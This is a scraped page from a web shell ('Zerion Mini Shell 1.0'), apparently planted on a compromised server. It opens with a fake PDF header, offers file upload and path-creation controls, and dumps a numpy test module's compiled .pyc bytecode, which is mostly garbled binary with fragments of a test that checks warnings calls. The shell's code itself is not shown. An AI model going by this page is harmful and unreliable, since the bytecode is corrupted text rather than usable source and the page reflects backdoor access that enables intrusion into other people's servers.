%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/tests/__pycache__/test_warnings.cpython-39.pyc

a

z[yc��@shdZddlZddlmZddlZddlZddlZGdd�dej�ZGdd�dej�Z	ej
jdd	��ZdS)
z
Tests which scan for certain occurrences in the code, they may not find
all of these occurrences but should catch almost all.
�N)�Pathc@s$eZdZdd�Zdd�Zdd�ZdS)�	ParseCallcCs
g|_dS�N)�ls)�self�r�?/usr/lib64/python3.9/site-packages/numpy/tests/test_warnings.py�__init__
szParseCall.__init__cCs tj�||�|j�|j�dSr)�ast�NodeVisitor�
generic_visitr�append�attr�r�noderrr�visit_AttributeszParseCall.visit_AttributecCs|j�|j�dSr)rr
�idrrrr�
visit_NameszParseCall.visit_NameN)�__name__�
__module__�__qualname__r	rrrrrrrsrcs$eZdZ�fdd�Zdd�Z�ZS)�	FindFuncscst���||_dSr)�superr	�_FindFuncs__filename)r�filename��	__class__rrr	s
zFindFuncs.__init__cCs�t�}|�|j�tj�||�|jddks<|jddkr`|jdjdkr`t	d�
|j|j���|jddkr�t
|j�dks�|jd	d
kr�d|jkr�dSt
|j�dkr�dSd
d�|jD�}d|vr�dSt	d�
|j|j���dS)N����simplefilter�filterwarningsr�ignorezFwarnings should have an appropriate stacklevel; found in {} on line {}�warn�����warningsztesting/tests/test_warnings.py�cSsh|]
}|j�qSr)�arg)�.0�kwrrr�	<setcomp>2�z'FindFuncs.visit_Call.<locals>.<setcomp>�
stacklevel)r�visit�funcr
rrr�args�s�AssertionError�formatr�lineno�len�keywords)rr�pr.rrr�
visit_Calls6����
��zFindFuncs.visit_Call)rrrr	r6�
__classcell__rrrrrsrc	Cs�ttj�j}|�d�D]~}|d|jvr*q||dkr8q||ddkrJqt�t|���,}t	�
|���}t|��
|�Wd�q1s�0YqdS)Nz*.pyZtestingz__init__.pyZrandom)r�numpy�__file__�parent�rglob�parents�tokenize�open�strr
�parse�readrr,)�base�path�fileZtreerrr�test_warning_calls:srE)
�__doc__Zpytest�pathlibrr
r=r8rrrZmarkZslowrErrrr�<module>s"

Zerion Mini Shell 1.0